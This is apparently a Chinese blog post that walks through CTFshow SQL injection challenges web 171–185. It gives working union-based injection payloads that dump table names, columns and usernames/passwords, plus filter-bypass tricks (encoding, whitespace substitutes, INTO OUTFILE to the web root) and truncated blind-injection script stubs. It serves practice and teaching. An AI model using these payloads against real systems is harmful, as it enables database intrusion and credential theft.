CTFshow sql注入
web 171
首先使用
1 | 1' --+ |
发现有回显
使用
1 | 1' order by 3--+ |
发现一共是3行
使用联合查询得到当前数据库的名字
1 | 1' union select 1,2,database()--+ |
爆表名:
1 | -1' union select 1,2,group_concat(table_name) FROM information_schema.tables where table_schema=database()--+ |
爆破列名:
1 | 1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+ |
爆破数据:
1 | 1' union select 1,2,group_concat(id,username,password) FROM ctfshow_user--+ |
web 172 173
1 | $sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
从过滤中可知大概就是把flag从查询中ban掉了
解决方法
利用编码解决:base64、hex
这里针对的是id = '".$_GET['id']."'
,双引号是包括在内的,可能只是起解析作用
1 | yn8'union select to_base64(username),hex(password) from ctfshow_user2--+ |
web 174
查询语句:
1 | $sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
返回逻辑:
1 | //检查结果是否有flag |
也就是说返回的结果是不能有flag和任何数字,那么就先base64编码,再对数字进行替换,比如对password字段的返回结果进行替换,username字段同理,所以payload如下:
1 | -1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' --+ |
然后对爆出的字符串反向替换以下就行了:
1 | import base64 |
web 175
查询语句
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //对传入的参数进行了过滤 |
1 | -1' Union Select id,username,password from ctfshow_user where username='flag' --+ |
将数据输出到一个文件中,然后访问对应文件
1 | -1' union select username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+ |
使用into outfile '/var/www/html/'
将信息输入到文件中去
web 176
开始过滤了,第一个是大小写过滤
1 | -1' Union Select id,username,password from ctfshow_user where username='flag' --+ |
web 177
第二个是对空格进行了过滤
可以替代空格的有:
1 | %0a |
1 | -1'%09Union%09Select%09id,username,password%09from`ctfshow_user`where`username`='flag'%23 |
1 | -1'union/**/select/**/id,username,password/**/from`ctfshow_user`where`username`='flag'%23 |
web 178
上面的注释符也不能用了,可以用tab%09
代替空格:
1 | -1'%09Union%09Select%09id,username,password%09from`ctfshow_user`where`username`='flag'%23 |
web 179
使用换页符%0c代替空格
1 | -1'union%0cselect%0cid,username,password%0cfrom`ctfshow_user`where`username`='flag'%23 |
web 180 181 182
1 | where username !='flag' and id = ''or(id=26)and'1'='1' limit 1 |
关于优先级问题就跟加减号与乘除号一样,and先运算,那么and的运算结果过程如何解释:需要同时满足两边的条件才会返回true,否则不执行啊!那么这里就是让第一个and语句返回false让后面的and语句来做到知行的效果
payload:'or(id=26)and'1'='1
web 183
本题使用post传参,我们使用like进行模糊查询,
解题思路:
1 | 括号代替的是空格 |
1 | # -*- coding: utf-8 -*- |
web 184
python脚本
SQL JOIN 中 on 与 where 的区别:在此脚本中是用on代替了where
利用having来代替where也是作为一个条件判断子句
利用16进制代替引号
1 | # -*- coding: utf-8 -*- |
web 185
mysql中的利用字符组合成的数字:
python脚本:
1 | # -*- coding: utf-8 -*- |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 惜缘怀古的博客!